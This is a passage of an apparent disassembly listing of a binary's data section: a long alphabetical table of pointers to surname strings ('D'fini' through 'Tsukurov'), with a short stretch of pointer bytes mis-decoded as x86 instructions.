		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
; ---------------------------------------------------------------------------


loc_42E3C8:				; CODE XREF: ___:loc_42E3C8j
		js	short loc_42E3C8
		inc	edx
		add	[esi+edi*8+42h], ch
		add	[eax-2], ah
		inc	edx
		add	[esi+edi*8+42h], dl
		add	[eax-2], cl
		inc	edx
		add	[esi+edi*8], bh
		inc	edx
		add	[esi+edi*8], dh
		inc	edx
		add	[esi+edi*8], ch
		inc	edx
		add	[esi+edi*8], ah
		inc	edx
		add	[esi+edi*8], bl
		inc	edx
		add	[esi+edi*8], dl
		inc	edx
		add	[esi+edi*8], al
		inc	edx
		add	ah, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	al, ch
		std
		inc	edx
		add	al, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[eax-4FFFBD03h], bh
		std
		inc	edx
		add	[ebp+edi*8-263FFBEh], ah
		inc	edx
		add	[eax-7BFFBD03h], dl
		std
		inc	edx
		add	[ebp+edi*8+42h], bh
		add	[eax-3], dh
		inc	edx
		add	[ebp+edi*8+42h], ah
		add	[ebp+edi*8+42h], bl
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	ds:0FD280042h[edi*8], dh
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	ds:0FD0C0042h[edi*8], dl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
